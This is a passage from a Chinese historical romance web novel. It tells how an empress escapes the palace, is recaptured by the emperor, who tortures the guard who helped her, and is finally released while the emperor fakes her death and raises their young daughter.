“那我便不留皎皎了。”郑伊湄莞尔一笑,“不过姑母说的对,来日方长,下次若是能见到满满,说不定她都会说话了。” “或许吧。” 岑璠掐住自己的手,站起身来,“时候也不早了,我也该走了,阿湄早些休息吧。” 郑伊湄将她送到门外,还是觉得她太过反常,却想不到其他什么缘由,“皎皎放心,这天下总有太平的一日,等到那时,想见便能见到了。” 岑璠颔首,轻轻应了一声。 回去时岑璠乘坐的仍旧是郑氏的马车,只是来接她回去的,多了几个宫人。 他这个做皇帝果然还是不能完全放心她 深夜内,华山县的城门悄然开启,将一行人放了进去。 过了一夜,便启程回洛阳。 路行道中,那辆马车却是忽然往下沉陷。 随行之人查看后,竟是发现车轮劈开了一些。 皇后就坐在里面,随行之人皆不敢随意冒险继续前行。 墨群道:“我去方才路过的镇子问问,有没有能换上的车轮,娘娘且在此处休息罢。” 岑璠答了声,“知道了,你再带上几个人一起去吧。” “把槿儿也带去,她善言辞,万一碰上难缠的人,她也能说上几句。” 说罢,槿儿从车上下来,墨群颔首,又点了几个人同去。 往回走了一段路,有人却是渐渐发现有些不对,“墨大人,咱们好像往山里去了啊?” 领头的人皆未回答,其他几人也开始往四周看时,忽然间只听得一声“得罪了。” 墨群转过身,朝空中撒了什么,只有“槿儿”捂住了口鼻。 跟来的人瞬间倒了一片,还有两个清醒的,尚未来得及动手,便是被墨群用剑柄敲中了穴位,倒了下去。 岑璠想将脸上面皮撕开,墨群却是阻止了她,“先别撕,想要逃出去还有很长的路要走,有这张面皮会方便许多。” 她前两次逃走时几乎都是在墨群的身边眼皮底下,倒是没有人教她这些 岑璠放下手,问道:“这些人留在这里没事吧?” 墨群摇头,“这迷药最多维持一个时辰,留给咱们的时间不多。” 岑璠点头,没再问更多,随墨群打马而去。 穿过方才的镇子,再绕过一座山,很快便到了靠近码头的地方。 河边有船家接应,两人下马,向河边走去。 此处通向大河,行迹茫茫,这一走再无归期。 岑璠上船前还是犹豫了。 她最放心不下的还是满满,她生下的小姑娘再过几个月就要学会说话了,可她大概是看不到她叫她一声娘亲了 他们父女两个,大概都会怨她吧。 可她就是很想知道,如果不为了别人而活,如果只是为了自己,该是一种什么样的活法。 她这十几年来从未为自己活过,她真的很想知道,到底应该怎么样活着… 墨群看得出她的挣扎,道:“姑娘若是舍不得,现在还能回去。” 岑璠一咬牙,一只脚还是踏上了船。 船逐渐驶远,他们此行的目的地在卢氏盘踞的范阳,那处离洛阳远,又是世家的地盘,皇帝能调配的眼线会少很多。 她先在那里待上两年,他总会有想清楚的那一天,重新立后纳妃… 船沿着大河行了五日,他们期间也下过一次船,可不过是个靠河岸的小镇子,外面的情况究竟如何,谁也不知道。 宫里的人肯定已经发现槿儿假扮的自己,说不定元衡也已经听到了此事,正在发了疯一样寻她吧… 岑璠这辈子从未在船上待过这么久,昏沉困乏之际,船又靠了岸。 墨群道:“姑娘下来透会儿气,这个镇子不算小,我买些吃食来。” 岑璠点了点头,“多谢了。” 她跟着下了船,身上换上了件浅藕色的布衣。 她身上的盘缠不少,只是未带什么衣裳,只在前几日前的镇子上买过两件。 这身衣裳不算差,是镇子上最好的衣裳,和她未到洛阳前穿的差不多,就是普通的百姓该穿的衣裳。 临走时她曾托墨群飞鸽传书,给寄云寺那里的人送信,待到她到范阳后便找可靠的人分批押运来些银两,将来吃穿用度倒也不怎么用愁。 不过或许到范阳后,她还要麻烦墨群一段时间,帮她购置一套宅子,一辆马车,或许还要开个书画铺子什么的… 岑璠在岸边来回踱步,忽然发现自己要操心的事原来真的很多,就比如说如果要开铺子,那就必须要有人来帮忙打理,还要看好地段… 她一步一步思忖,心道刚才想到的这些定是要在纸上写下来,趁着还没有到范阳,她打算做的事都该像现在这样细细想一遍。 岑璠思考了很久,直到天色暗的明显,忽然间才意识到,墨群很久都还没回来。 她向四周环望,忽然岸边吹来一阵风,便也没有再想太多,抱紧双臂,向船的方向走,准备上船等他。 就在此时,远远地传来一阵马蹄声,慢悠悠的,就像他们前几日看见的镇子里的商队。 岑璠下意识转过头去,那些人点着火把,因为离得远,尚且看不真切。 可那不像是商队,倒像是… 官兵。 岑璠手陡然间凉了几分,那队人马靠的越紧,她便越觉得不安,仿佛这些人就是冲她来的一样。 那些人越来越近,岑璠呼吸跟着屏了起来,整个心似都被冰封了起来,冻得战栗不止。 不安愈发强烈,强烈到她近乎肯定,那些人就是冲她来的… 终于,透过那火把的亮光,岑璠看清了那最前面的人,也看清了墨群。 她骤然睁大了眼睛,只因看清眼前的景象,呼吸窒住,脸色也跟着惨白。 方才还好好的墨群,如今浑身是血,一侧的琵琶骨被铁锥洞穿,随着马背上的男人踉跄着往前走。 那铁锥的另一端连有锁链,正牵在那男人的手上… 他缓慢靠近,就像是地府里的阎罗,先是索了墨群的命,现在又要来索她的命一样。 他每靠近一步,岑璠便不由自主向后退一步,六神无主,已经意识不到自己身后没有路。 就在一脚即将踩空时,岑璠听见自黑暗中飘来的一阵声音。 那声音小心翼翼,似是怕吓到她,却幽冷地像是怨鬼。 “皎皎别怕,回来吧…” 第123章 第一百二十三章放我走吧 岑璠缓缓摇头,“不” 她不能回去,若是她跟他回去,她定是会被锁起来,就像墨群那样,说不定会被断了手脚,刺穿肩胛骨,被他永生永世拴在身边。 元衡似是猜得透她在想什么,扔了手里的铁链,下马向她走过来,“皎皎别怕,你过来,朕会当做什么都没有发生过。” 那截带血的锁链还在眼前,元衡说的话岑璠一句都不肯信,他越走近,她的脸色便越惨白。 元衡仍是执拗向前,“只要你回来,朕不会伤你,你放心。” 岑璠不住地摇头,忽然转过身去,头也不回地往船里钻。 忽然,锐利的风声自耳边呼啸而过,发出一阵巨响,一根箭直直穿透船板,封住了她脚下的去路。 岑璠睁大了眼睛,回过头去,她看不清他的神色,只能看得清他手中举着一把弓,那张弓射出一只箭后又被拉满。 “你能不能别逼我” “朕没有逼你。”元衡放下弓箭,缓步继续向她走去,声音不住地颤抖,“你不要朕了,对吗?” “我” 那张面容逐渐清晰,岑璠瞧见了一双猩红的眼,身后层层火把,像是随时都要燃起熊熊大火一般,照得她无处藏身。 “你不要朕了,连满满都不要是吗?她还那么小,你就舍得抛下她?” 岑璠流下了眼泪,“能不能不要用满满逼我” “我没有不要她,可我走了,对你们而言,对我而言才是最好的,陛下还不明白吗?” 元衡确实不明白,他怎么都想不明白,这如何能是对他好? 都说女人有了孩子之后会格外心软一些,会顾虑的多些,可她为何这般心狠,即便这样了,仍旧想要逃离他身边?他把真心都给了她一个人,就算是她要天上的月亮,他都会毫不犹豫地试着给她摘下来,她还有什么不满的? 待在他身边,他们一家人在一起不好吗? 元衡想不通,眉凝在一起, 在军镇尚未好透的伤口又开始绞痛,他却一步步向前,离她越来越近,仍旧没有半分松口,“你回来,朕说话算话,会当做什么都没有发生过。” 那眼中充满执念,岑璠知道,若是今夜跟他回去了,就算他真的肯放过自己,她此生也难再出宫。 岑璠泪眼婆娑,近乎哀求,“我不想留在宫中,你让我走吧。” 元衡脸色陡然又沉了几分,狠下心来,咬住牙道:“绝无可能。” “今日你必须和朕回去。” 岑璠咬紧了唇,未再出声,睫羽遮住那双饱含泪水的眼睛,投下一片阴影,连眼底的光都遮住了。 江水滔滔,在黑夜中深不见底,她静静闭上眼眸,忽然向后仰去。 岸边传来一声惊喊,随后覆盖来此起彼伏的喊声,顷刻间却被寒冷的江水全部漫盖,什么都听不见了。 * 岑璠并没有沉到江底,就在跌到江水中的一刹那,元衡便跟着一跃而下。 码头的江水并不湍急,岑璠很快就被救了起来,周围的侍卫都围了过来,火把照亮了她苍白的脸庞,照得她无处遁形。 她身上湿的透彻,在岸上咳了几口水,身上的力气仿佛都被冰冷的江水封住, 她颓然地靠在元衡的怀中,他胸前的衣裳也都打湿了,身子似在颤抖,至于是为何,岑璠无心去猜测。 她的眼神有些涣散,水珠顺着头发流下,落在眼睫上,也丝毫没有反应。 元衡静静看着她,确认她醒着,果断将她抱了起来。 她被抱上马,一件干衣裳很快便裹在她身上 ,他抱着她,抱的很紧… 队伍缓缓行进,火把的光影斑斓交错,前所未有的疲惫感袭来,岑璠闭上眼睛,方才畅想过的一切再也凝聚不成完整的景象,很快意识便彻底放空。 再醒时,她已经躺在另一只船上,船舱内很是宽敞,周围弥漫着清香。 岑璠睁开眼睛,立刻就意识到那不是来时的那艘船。 她身上那身湿透的布衣已经不在,不知被何人换成了蚕丝织成的衣裳。 她意识回拢,下意识看向自己的手腕。 “朕说过,不会那么对你。” 岑璠这才发现,床边悄无声息坐了一个人。 他说这话时,似并没有动怒,声音轻轻的,很是平静。 岑璠坐起身,他单只手握住她的臂,将她拉了起来。 “墨侍卫曾救过我的命,陛能否放过他?”岑璠问道。 他的手忽然握紧了些,岑璠手臂吃痛,抿起唇瓣,生怕激怒他,默声等着他的答复。 “朕不会让他死了。”元衡端起放在一旁的药碗,搅匀那碗放置许久的药,“他本隶暗卫营,所犯乃是叛主之罪,昨日那便是惩罚。” 岑璠盯着他,不由想到昨日血腥的那一幕,直到药端到嘴边,也没有什么反应。 元衡仍是没有丝毫怒意,道:“这是治风寒的药,你先喝药,朕会让人去治他。” 岑璠低眼看向那碗药,听从他的要求,嘴唇慢慢靠近,两滴眼泪顺着脸颊划到碗中,竟一时间尝不出那药究竟是苦的还是咸的。 元衡静静看着她,端着药碗的手渐渐收紧。 岑璠喝药并不算快,元衡也能看得出她的不情愿。 他并没有挑明什么,耐心地等着她将那碗药全部喝完。 岑璠喝完药的第一句便是问道:“陛下是怎么追过来的?” 元衡收碗的动作顿了一下,想到此处还是不免满腔怒火。 他凯旋而归,迫不及待想要见到她,昼夜不停地往回赶,听闻郑氏成礼时,心里还欢喜了好一阵,特意走了官道,就盘算着他在归途能遇到她 元衡将碗放回小桌上,动作不由自主重了些。 只是他依旧没有质问她的意思,依着她的话答道:“你逃的那日,朕便赶上了那支队伍,你找槿儿假扮,那些人识不出,可朕一眼便能认出来。” “墨群是朕一手培养起来,他的藏匿之法,潜逃之路,朕想想便能知道。” 听到此处,岑璠便彻底明白了。 她走的时候未曾想到这些,只觉得墨群帮助她逃跑,比她自己逃的任何一次都要谨慎小心 他说的对,墨群是他一手栽培起来的,潜逃的方式怕都是有他的手笔,即便是他回来的再晚些,怕也会很快找到她二人,即便是她真的躲开了追捕,大概他也能轻而易举推敲出她会去范阳吧 竟是一点办法都没有。 岑璠脸色又灰败了些,昨日还满怀希望的心,此刻已近乎绝望。 元衡握紧了拳,问道:“你就这么不愿留下吗?” 他知道她昨日跳河并不是想要轻生,不过是想赌他能退让,能心软,为此不惜赌上自己的性命 她这般不情愿… 岑璠道:“陛下,我真的想为自己活一次…” 元衡目光凝向她,沉默了许久,看清了岑璠眼中的泪是怎样一点点落下来的。 他伸出手来,轻轻拭去她眼中的泪,似是下定了很大的决心,“朕放你走吧。” 岑璠抬起头来,那双蓄满泪水的眼睛看向他,“你说什么?” 元衡不愿意再说出口,方才说出那句话,已经是让他心如刀绞,“你若是没听到,便当不作数了。 岑璠睁大眼睛,“你真的打算让我走?” 元衡不情愿地点了点头,“你也不用躲着朕,委屈你自己,如今还不算安稳,朕看不得你死,会派人暗中跟着你,你自去你想去的地方罢。” 岑璠看着他,觉得不可置信,还有些怀疑他说的是不是真的,很久没有说话。 上一次他也说过要放了她,可最后还不是出尔反尔,把她骗了回来。 元衡余光瞥向她,喉结动了动,须臾后又说道:“还有一点你要答应朕,满满是你的孩子,每年你过年要回来一次,让她知道你没有丢下她…” “朕会告诉外面的人说你病逝,但不会同满满这么说。” 岑璠久久没有答应,元衡冷声道:“你若不答应,便当作朕什么都没说。” “我答应。”岑璠立刻回答道。 元衡有一刹那的惊讶,而后又陷入了沉默,周遭像是都黯淡了下来,“那便如此办吧,朕会把你送回华山县,那里郑氏族人多,你从那里走,朕也放心。” 他停了许久,才又说道:“你若是想满满了,随时都可以回来。” 脸上的泪水早已被风干,岑璠尚且不确定他的态度,可他早已不再看她。 “陛下说的话,这次可当真?” 他深吸了一口气,似是疲惫至极,“当真。” 说罢,他便站起身来,“你好好休息罢,这几日养好身子,等到的那日,朕就不送你了。” * 船停靠在华山县的那日,已经是七日之后,不知道是不是逆流而上的缘故,比回去时足足多了两日。 自元衡答应放她后,每日还是会有药送过来,他却没有再出现过,岑璠甚至都不知他是否还在船上。 今日下船时,无人同她告别。 岑璠站在岸上,回望那艘船,深深一作揖,而后悄无声息地转过身去。 元衡在船上的小阁上看得一清二楚。 他立在暗处,静静地看着她远去,看她没有再回头,走得无丝毫留恋。 不一会儿,他的船也慢慢驶离岸边。 元衡去了她这几日养病的小舱,躺在她躺过的枕上,那枕头上还有她的发香。 船外江水滔滔不绝,船舱内却冷清的没有一丝人气。 元衡在那张枕上躺了半日,跟他回来的军队大多都已经回到了城中,只有少部分人等着和他一起进城。 留下的人不少都知道,皇帝是去找皇后。 听说皇后是跟着宫里的一位侍卫一起消失的。 具体是怎么回事,众人不敢猜测,只知道前几日还意气风发的皇帝,就像是鳏夫一样。 回洛阳的那日,班师回朝,凯旋而归,本该是庆贺的日子,皇帝却静悄悄回到了宫中,未曾声张。 那一日的午时,宫里响起了三声丧钟。 在这宫里,能够让丧钟鸣响三下的,也只有皇后了。 太极殿空旷,除了元衡却空无一人。 元衡坐在龙椅上,静静地听着那三声丧钟敲完,余音在大殿中回响。 他在军镇时总是在想,此次大胜而归后能与她长相厮守,再不分离。 可如今他真的成了孤家寡人了 他在椅上坐了很久,什么都没有做,直到天色暗了下来,才向含章殿而去。 那曾经是被他当做家的地方。 可若是没了她,哪里还有家的样子呢? 元衡并没有回到那里去的欲望,他的脚步仿佛被砂石灌满,可心头莫名又觉得那个地方还有放不下的东西。 他想不起来那是什么,只像行尸走肉一般往回走,再回过神时,已经站在了门外。 刚伸出手时,便听到了一声清脆的啼哭声。 元衡眼睛顿时酸了。 第124章 第一百二十四章皇帝哭过 心头的挂念,是他们的满满 满满还在哭。 元衡推开门,只见那姓钱的嬷嬷正将小姑娘抱在怀中,望着窗外,一边和怀里的小姑娘一起哭,一边还要哄。 他冷声问道:“你哭什么?” 钱嬷嬷被吓了一跳,连忙用肩膀蹭了蹭眼泪,“陛下,娘娘她” 元衡沉下脸,言简意赅道:“她没有死。” 钱嬷嬷愣住,脑子实在转不过来,“娘娘她没有死?” 元衡在她面前正襟危坐,点头道:“她只是不想在宫里住罢了,不是死 了。” 钱嬷嬷心下千回百转,且不说皇后对陛下有没有情义,可公主还在宫里,为何会不愿回宫? 钱嬷嬷思量了许久,恍然间想到很久之前,皇后好像问过她,如果有朝一日不辞而别,是不是会被当做不爱自己的孩子什么的 她自己当初割舍自己的孩子,也是不愿意再被夫家拖累。 皇后这么做,想来是真的很不愿意待在这宫里 钱嬷嬷哑然,抬起眼皮静悄悄地观察皇帝的脸色,果然很不好。 这宫里像皇后一样备受宠爱的女人自古少有,皇帝都做到这份上了,皇后竟还是不想留下 元衡察觉到她的目光,冷厉与她打量的目光对上,钱嬷嬷便浑身直冒冷汗,慌张到吞咽口水,低头看向怀中的公主。 元衡冷声道:“此事知道的人不多,且都与朕签下了生死契,若是此刻传出风声,你和他们一样,都是一死,倘若你能守住秘密,将来留在公主身边,朕允你为一品女官。” 钱嬷嬷低下头,“奴婢明白了。” 元衡多看了她几眼,确认她没有别的心思,脸色缓和了许多,语气和善地问道:“你方才是为了皇后在哭?” “是。”钱嬷嬷想到那在宫中的皇后,不似她印象中的任何一个贵人天生带有傲然,那位娘娘总是那样平易近人,甚至愿意去了解她这样一个微不足道的女子的过往。 钱嬷嬷道:“皇后娘娘是一个很好的人。” 元衡当然知道,她很好,只不过她的好从来不是对向他,或者说这一世从未对向他。 自作自受罢了。 元衡目光又黯淡下来,他低声问道:“朕不在的这段时日,她是不是很伤心?” 前段时间发生的事,岑璠并未多做隐瞒,钱嬷嬷到底也知道些,叹了口气,“皇后娘娘看到信后,常常在窗边一坐便是半晌,奴婢们怎么也劝不动” “被身边最亲近的人背叛,想来是伤心的。” 元衡却是知道,她不只是因为苏媪的背叛而伤心。 她奔波半生,委身于他皆是为了报仇,就像她自己说的一样,没有一刻是为了自己而活。 忽然告诉她,这一切不过是精心编织谎言,没有人想看到她这样活着 元衡低下眼去,身上的戾气又消下去些,又看向钱嬷嬷嬷怀中的小团子。 “你下去吧,朕来哄她便是。” 钱嬷嬷在这屋中本就难安,听到这句,立刻上前,将公主交给元衡,便自行行礼告退。 元衡看向满满,他此去军镇两个月,已经很久没有见过这个小姑娘,她又长大了些,想来都该学会怎么翻身了。 也越来越能看出她的样子。 小姑娘的眉眼和她长得很像 元衡鼻头又是一酸,仰头含住眼中的泪,将男儿有泪不轻弹的道理默念了一遍又一遍,竟是一时没有注意到小姑娘的哭声已经从轻哭变成放声大哭。 直到那哭声又大了些,元衡才回过神来,他以为他走了两个月,抱孩子的动作太过生疏,便回忆着自己在岑璠怀孕时一遍遍练习的情形,调整出出无可挑剔的姿势来。 可小姑娘还是哭喊不止。 她走了后,他周遭的一切,似乎都成了一团乱麻。 他嗤之以鼻的眼泪终于还是没被忍住,落在了小姑娘的脸上,“你是不是也知道,你娘不回来了,嗯?” “她不要咱们了” 小姑娘的哭声陡然提高了许多,元衡吓了一跳,连忙收起了那点怨气,出声哄她,“满满不哭,还有父皇呢” 满满的哭声小了些,却丝毫没有因为他的劝哄而停止,即便后来元衡使遍浑身解数也不管用。 过往这孩子喜欢他,谁都哄不好的时候,只要他来哄便一定能哄好。 元衡从来没有感觉到,带孩子会是这样一件令人烦心的事。 哄到最后,元衡自己都累了,他仍旧没有发脾气,只是轻声劝道:“父皇方才都是瞎说的,她没说不回来,满满别怕父皇同她说了,她不会丢下你不管,咱们父女两个每年都能见到她。” 他分外耐心,一遍一遍哄着,屋内仍是哭闹声不断,就连被他吓走的钱嬷嬷都被引来了。 “陛下,可要奴婢进去?” 元衡向窗外看了一眼,偏执道:“朕能哄好,你下去吧。” 钱嬷嬷声音顿了顿,而后只是提醒道:“公主若是还哭,陛下不妨试试换件衣裳。” 元衡总算明白了过来,小姑娘哭,只是因为他走得太久,她不认得他了。 是呀,他说这么多,一个还在吃奶的小姑娘懂什么? 她走一年,满满怕是连她娘是谁都认不得了 想到此处,又是一阵撕心裂肺的绞痛。 她说是会回来,可这一辈子她永远不会再是他的妻了,起码在他活着的时候。 或许做不到生同衾,但还可以做到死同穴,若她先过身,他会派人把她带回来,若是他先死了,他也会下道遗诏… 不论怎样,他最终都会把她留在身边。 她肯定要怨他,要和他吵,不过那都是下辈子的事了。 元衡听了钱嬷嬷的话,换回了自己走前在寝殿内穿的衣裳。 不过一会儿,小姑娘便睡着了。 元衡没有将她抱回到摇床,而是将她抱到了他和岑璠常睡的那张榻上。 他看着小姑娘,手抚摸着小姑娘的小衣裳,久久都不能眠。 第二日,皇帝没有去上朝,在含章殿呆了一整日。 昨夜含章殿的灯火亮了半宿,直到中午殿门还紧闭着。 没有人知道皇帝昨晚都在干什么,也没有人敢进去问。 皇帝与皇后伉俪情深,忽然成了鳏夫,换做常人说不定还要大哭一场。 直到傍晚,殿内还没有动静,甚至连传膳都不曾。 韩泽为了那三声丧钟忙活了一整日,听说此事,亲自跑来含章殿一趟,在殿门外劝道:“陛下还是吃些东西吧。” 元衡打开了门,臂间还抱着一个姑娘。 韩泽没想过元衡会这么快开门,悄摸打量了两眼。 很明显,皇帝哭过,而且哭了很久…… 元衡冷冷看了他两眼,问道:“何事?” 韩泽低下头,没敢再多看第二眼,“陛下一日没用膳了,皇后娘娘的丧礼还要费神,还望陛下多保重身子。” 元衡道:“随便你。” 皇帝没有关门,韩泽明白了意思,亲自端了饭菜进去,皇帝坐在榻上,正板着脸逗小公主玩。 韩泽撇过眼去,又自个儿轻轻合上门。 第二日,皇帝主动命人传膳。 韩泽又亲自来跑了一趟,走进门时,公主正在小床上酣睡着,皇帝一改昨日的颓丧,衣衫整洁,发也重新束过,于榻边端坐,就连一点伤心都看不出了。 就连韩泽见了都不免一愣,不由怀疑是换了个人 元衡 皱起眉,道:“你看什么?” 韩泽低下头去,“没什么,微臣这就找人传膳。” 元衡叫住他,问道:“皇后的丧礼准备的如何?” 韩泽答:“陛下放心,棺椁是死士从外面抬回来的,只说是病逝,没有人发现皇后的去向。” 元衡又交代道:“此前在船上立过生死契的人便都留在宫中,朕给他们他们另设个新官职,此后无诏不得出宫。” 韩泽应下,觉着面前的人已经恢复了冷静,又问道:“陛下明日可要召各位大人进宫?” 元衡沉默了许久,道:“你下去安排吧。” 翌日,朝堂上宣告了皇后崩逝的消息,纵使知道岑璠没死,在元衡听到这声宣告时,脸色也不怎么好看。 朝中群臣哀悼,元衡一扫众人神色,也只有他自己一个人是真的伤心了。 他会当好这个皇帝,这样她便能如她所愿,在这个世上自由自在的活着。 或许有一天,她偶尔在街头能听到他的名字,能念着他的好吧。 也许再等上十年,她再回来,就不会走了。 …… 宫中的皇后发丧那日,皇帝身穿素服,亲自送皇后出宫,赐谥号惠昭皇后。 此后天下缟素,军民共为皇后守丧二十又七日,这也是本朝头一位和帝王同制办丧事的皇后。 皇后死后,帝未曾再立后,就连纳妃都不曾。 朝中老臣倒是以子嗣之事劝过,可皇帝仍是无动于衷,甚至在朝堂上因此事发了好几次脾气。 就这么争执了三四年,皇帝膝下仍旧只有皇后所出的一个公主,周岁之时便得了熙和的封号。 公主自幼便得皇帝宠爱,世人皆知,那是皇帝心头的一块儿肉,宫中无人敢怠慢,全当祖宗供着。 不过皇帝向来对公主上心,幼时便放在身边亲自教导,不曾离开过含章殿。当今这位陛下体恤宫人,这小公主虽然活泼了些,却没养成刁蛮的性子。 如今小公主长到三岁,除了一双眼睛,和皇帝几乎一个模子刻出来的。 那张面容比起皇帝少了些清冷,天真烂漫,像是水灵灵的瓷娃娃,可爱的打紧,惹得含章殿的宫人分外喜爱。 又是一年除夕,满满在偏殿起了个大早,让守夜的奴婢叫醒了钱嬷嬷。 满满穿上早一个月就挑好的红袄,坐在妆台前,打着哈欠对着镜子看嬷嬷梳头。 小姑娘的头发尚且蓬松细软,嬷嬷挽好了两个小髻,又将两条红色镶珍珠的发髻塞给了嬷嬷。 两条发带绑好,满满晃了晃脑袋,点了两下头,便站了起来,跑出去时手里抓着一只香囊。 天色尚且黑沉,大多数人还没醒,钱嬷嬷小步跟在身后,怕她摔了,又怕惊扰了含章殿周围的守卫宫人,只小声喊,“小殿下,您慢些…” 满满却好似没听到,径直跑去了元衡所在的正殿。 守卫皆是睁一只眼闭一只眼,要知道这公主自出生起便养在这含章殿的正殿,三岁还和陛下睡在同一个屋子里。 直到去岁,陛下终觉得不妥,赶了好几次,公主哭闹着折腾了一个月,才终于养成了独睡的习惯。 即便是这样,皇帝也未赐公主其他的宫殿,父女二人依旧同住在含章殿内。 朝中不是没有人提出过反对,元衡皆当成了耳旁风。 或许是那些老臣也觉得这是皇帝的家务事,久而久之便无人再找不痛快。 墨群伤好后便一直守在含章殿,他并未赶满满回去,弯腰温声问道:“公主来这么早,是有什么事找陛下吗?” 满满认真点了点头,举起手里的香囊,“我来给父皇送新年贺礼的。” 墨群闻言忍俊不禁,这贺礼都是外邦朝臣贺年来送,哪里轮到她一个小姑娘。 约莫是小的时候,元衡走到哪里便将她带到哪里,小姑娘心里记下了吧。 钱嬷嬷蹲下身,低声劝了又劝,“现在还早,陛下还没起呢…” 满满抬头看了看那道门,坚持道:“可我记得父皇每天都是这个时候起来呀!” 钱嬷嬷道:“小殿下,陛下前几日忙着政务,才闲下来些,这礼咱们今日什么时候都能送。” 她并非诓骗,一个月前南边的萧晗带兵来犯,大魏派了尔朱阳雪去平乱这些日子陛下在洛阳也一直不得闲。 这几年,六镇虽是安稳了些,可明枪暗箭也不少,陛下实不容易… 满满缓缓摇头,“那我就等父皇起来。” 肉乎乎的小手举起,不知道从哪里拎出来一只香囊,颇为认真,“我想父皇一起床就能看到我绣的香囊。” 钱嬷嬷一叹,刚准备再劝劝,门却是打开了。 皇帝向来不喜任何宫人在殿内伺候,此时长发未束,只穿了一身宽袍,显然是刚醒。 钱嬷嬷行礼,满满连忙将手背到后面,将那只香囊又塞在腰带间。 元衡轻飘飘扫了一眼,便当作什么都没看见,“嬷嬷先下去吧。” 钱嬷嬷闻言,行礼告退,元衡低下身,将满满抱了起来。 满满自然而然地在他的臂间坐着,搂住他的脖子。 元衡还没走几步,便被遮住了眼睛。 他停住脚步,并未训斥,和声问道:“你这么遮着父皇的眼睛,父皇还怎么走路,嗯?” 满满丝毫不惧,“我给父皇准备了礼物。” 元衡假装好奇,“什么礼物?” 满满放开手,来回扭动,好不容易将藏在身后的香囊抽了出来,“我自己绣的。” 元衡一只手抱着她,另一只手接过香囊,仔细端详一番。 那只香囊上的针脚与其说是绣,倒不如说是穿了线,胡乱扎了几针,根本看不出绣的是什么。 可这是满满给他绣的第一个香囊。 她娘这辈子都不曾给他绣过什么… 现在他养大的姑娘都会给他绣香囊了… 元衡仔细摩挲着那香囊,欣然收下,“好看。” 他问道:“满满和谁学的?” 满满认真道:“是我让紫芯教我的,紫芯姨说了,母后最喜欢的就是梅花。” 元衡眼睛动了动,闷声道:“你母后确实喜欢…” 话音还没完全落下,满满便又问道:“父皇,你知不知道母后今年回不回来呀?” 第125章 第一百二十五章小儿难养 满满问的这个问题元衡知道,她前几日刚刚送了信来,说是今年也不回来了… 满打满算,她其实也就回来了两次。 头一次满满周岁的时候,她回来过,那时候宫里来了很多皇亲贵戚,她不好露面,只静静地站在屏风后看着满满抓周。 他准备了很多东西,包括自己的佩剑还有一颗常戴的玉扳指,他能够感觉的到他的那些亲戚在看到那枚玉扳指被放到地上时神色皆有异样。 好在最后小姑娘抓起的是一只寻常的笔,紧盯的众人这才松了口气。 可他确实有那种打算,纵然知道那些亲戚巴不得他一辈子不娶,盼他死后便可以大摇大摆继承皇位,纵然知道这么做会有很多人反对,觉得他疯了,他还是想试试 是以在那场抓周礼结束后,他还是将那枚戒指当着岑璠的面塞给了小姑娘。 岑璠当时没有什么反应,他也不知道她明不明白他的苦心。 元衡觉得她应该是不明白的,因为给小姑娘过完周岁的生辰,她便又离开了皇宫 他抱着满满一起去送她,那时小姑娘已经会简开口叫声“爹娘”,他一轻拍她的背,小姑娘便知道张嘴去唤岑璠。 一声声软软糯糯的“娘”,还是没能将她留下来。 过年的时候她也没按照承诺回来。 她不在的时候他心里不免又空落落的,那时还算安稳,便是将所有的心血都倾注在了小姑娘身上,教她学走路,教她怎么和他说话,怎么识数看画本 小姑娘很是听话懂事,很少哭闹,越养他便越觉得 她就是上天留给他的宝贝,将来配得上万民敬仰。 那段时间里,大魏一位名叫“雯华”的女画师名声噪起。 这位女画师起初常画市井街景,所画面孔栩栩如生,笔下大魏一派祥和之景。 不知什么时候开始,民间又流出不少出自这位女画师之手的神佛画像。 后来,女画师为一座山寺绘制壁画,寺中的文殊菩萨似有神性,生动慈悲,于民间广为流传。 女画师居无定所,却从不隐匿行踪,每过一处,常有世家女眷重金聘请画一张画像。 元衡很早之前就知道,那是他的皇后。 他常年派人跟着她,从未打扰过她的生活,她也未躲开过那些人,每隔一段时日便会有人将她的情况说与他听。 他知道,这两年里岑璠走过不少地方。 第二年,满满的生辰她并没有回来,他担心她这些年跑的太远,有意毁诺,亲笔书信询问她的归期。 她回信答应他过年会回来,他趁着她还没回来,提前教会了满满怎么把她阿娘留下来,和小姑娘反反复复练习了好几个晚上。 那次她回来时,给小姑娘带回来了一串佛珠,听说是平城的一位大师所赠。 他们一家人吃了顿温馨的年夜饭,岑璠脸上的笑容似是比他印象中多了些,盯着长大的小姑娘看了好一阵。 小姑娘一双圆溜溜的大眼睛也看着她,手中捧着的糖饼都忘了啃,似鼓起了很大的勇气,问道:“母后能不能不走了呀,我和父皇都很想你。” 元衡也没想过她会在那个时候说,他同小姑娘叮嘱的明明是再过几日,等到她要走的时候再说这些… 元衡一时不知道该接什么话,岑璠也愣了一阵,随后看向了他。 那时他实在心虚,目光躲闪。 她应当是发现了,只是浅浅一笑,对满满道:“以后母后若是有空便回来看你。” 这一年她待的久了些,直到上元节过后才离开。 也不知道她是不是以为他贼心不死,还想将她强留下来,第三年她连过年没有回来。 三岁的小姑娘已经记得事,也渐渐明白所谓“娘”该是一个和他一样,常陪伴在身边的人,不太好糊弄,当时他找了很多的理由搪塞,小姑娘失落了好一阵。 后来岑璠给他带来一封冠冕堂皇的信,说是大雪封山,回不去。 他当时又生气又害怕,找人仔细核实了一番,才确认她在的地方确实下过一场大雪。 可今年她又不回来,理由是那第一个让她去画佛壁的老和尚圆寂,要去一趟佛寺,送大师一程 这两年来,朝堂又有些不安稳,就像是一茬野草割下去,又很快长出来一茬。一年前穆氏派人进宫刺杀,他铲除了以穆氏为核心的五个家族,这一年高氏却是越来越叫他头疼。 就连尔朱氏在背后也有过动作。 他前几日无暇去顾及此事,今日好不容易得闲,还没有想好怎么撒个谎,骗过满满。 小姑娘别看小,人可机灵。 元衡抿出个笑容,先糊弄了一句,“母后有些忙” 谁知小姑娘立刻撇下了嘴,问道:“母后是不是今年也不回来了?” 她的眼神有些失落,却是笃定地看他,就像是曾经的岑璠看着他撒谎似的 元衡招架不住,只好点头承认道:“母后不是不回来了,只是抽不开身,晚些才能回来。” 他只能先这么骗她,他也不知道岑璠之后会不会回来。 总不能把她再绑回来 这些年来,她跳河的那一幕总会出现在他的梦中,他总是梦到这一世他也没护好她,像上一世一样死在他的怀里。 她活的好好的,他哪里敢再逼她 满满却是像要哭了一样,“满满还绣了一个香囊,想要送给母后呢” 元衡听后心里也难受,将满满抱回到自己的床上,坐在她旁边,轻轻摸了摸她的头,“满满放心,母后会回来,到时候你绣个更好看的香囊,她肯定会很喜欢的。” 满满撅着嘴,道:“可我听外面的人说,母后她死了,回不来了” 